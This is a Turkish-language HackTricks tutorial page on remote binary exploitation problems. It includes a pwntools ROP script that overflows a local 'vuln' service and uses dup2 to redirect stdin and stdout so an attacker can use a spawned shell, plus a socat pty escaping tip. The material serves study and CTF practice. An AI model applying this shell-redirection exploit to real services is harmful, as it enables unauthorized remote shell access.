hacktricks/binary-exploitation/common-exploiting-problems.md

3.9 KiB
Raw Blame History

Yaygın Sömürü Problemleri

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Uzak Sömürüde FD'ler

Bir uzaktan sunucuya system('/bin/sh') çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve /bin/sh stdin'den (FD: 0) girdi bekleyecek ve stdout ve stderr'de (FD'ler 1 ve 2) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır.

Bunu düzeltmenin bir yolu, sunucu başlatıldığında FD numarası 3 (dinleme için) oluşturduğunu varsaymaktır ve ardından, bağlantınız FD numarası 4'te olacaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için dup2 sistem çağrısını kullanmak mümkündür, böylece shell çalıştırıldığında onunla iletişim kurmak mümkün olacaktır.

Buradan sömürü örneği:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Not edin ki socat zaten stdin ve stdout'u sokete aktarır. Ancak, pty modu DELETE karakterlerini içerir. Yani, bir \x7f (DELETE -) gönderirseniz, bu saldırınızın önceki karakterini siler.

Bunu aşmak için, gönderilen her \x7f'nin önüne kaçış karakteri \x16 eklenmelidir.

Burada bu davranışın bir örneğini bulabilirsiniz.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}